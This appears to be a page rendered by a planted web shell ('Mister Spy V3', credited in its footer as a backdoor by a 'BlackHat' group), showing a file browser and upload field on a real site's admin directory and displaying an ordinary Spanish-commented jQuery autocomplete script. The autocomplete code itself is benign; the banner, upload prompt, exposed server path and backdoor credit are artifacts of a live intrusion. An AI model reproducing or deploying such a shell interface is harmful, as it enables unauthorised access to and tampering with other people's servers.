Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/public_html/web/admin/js/
Upload File :
Current File : /home/caballoscriollos/public_html/web/admin/js/autocompletar.js

/*!
 * Customización del autocomplete de JqueryUI
 */

function getItemTemplateDefault(Nombre, Id, selectedItemTracker, selectedItemsContainer, idEntidad) {
    let template = '<div class="row">';
    template += '   <div class="col-sm-12">';
    template += '     <div class="col-sm-10">';
    template += '       <label>' + Nombre + '</label>';
    template += '     </div>';
    template += '     <div class="col-sm-2 text-right">';
    template += '       <a title="Quitar" href="#' + selectedItemsContainer + '" onclick="$(this).closest(\'.row\').remove();"><i class="ti-trash text-danger h4"></i></a>';
    template += '       <input type="hidden" name="' + idEntidad + '[]" class="' + selectedItemTracker + '" value="' + Id + '"/>';
    template += '     </div>';
    template += '   </div>';
    template += '   <div class="col-sm-12">';
    template += '     <hr class="linea-separadora">';
    template += '   </div>';
    template += '</div>';
    return template;
}


function getSelectionArray(selector) {
    return $(selector).map(function() {
        return $(this).val();
    }).get();
}

function autocompleteControl(p) {

    if (p.getItemTemplate === 'undefined' || !p.getItemTemplate)
        p.getItemTemplate = getItemTemplateDefault;

    $(p.inputBox).autocomplete({
        appendTo: p.suggestBox,
        serviceUrl: p.jsonUrl,
        beforeRender: function(container, suggestions) {

        },
        onSearchStart: function() {
            $(this).autocomplete('setOptions', { params: { Nombre: $(this).attr('name') } });
        },
        onSelect: function(suggestion) {
            console.log(suggestion);
            $(p.inputBox).val('');
            let myArray = getSelectionArray('.' + p.selectedItemTracker);
            if ($.inArray(suggestion.element[p.idEntidad], myArray) === -1) {
                $(p.selectedItemsContainer).append(p.getItemTemplate(suggestion.value, suggestion.element[p.idEntidad], p.selectedItemTracker, p.selectedItemsContainer, p.idEntidad));
            }
        }
    });

}

function autocompleteSimpleControl(p) {
    $(p.inputBox).autocomplete({
        appendTo: p.suggestBox,
        serviceUrl: p.jsonUrl,
        beforeRender: function(container, suggestions) {
            //$(p.valueBox).val('');
        },
        onSearchStart: function() {
            //$(p.valueBox).val('');
        },
        onSelect: function(suggestion) {
            $(p.valueBox).val(suggestion.element[p.idEntidad]);
        }
    });
}

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat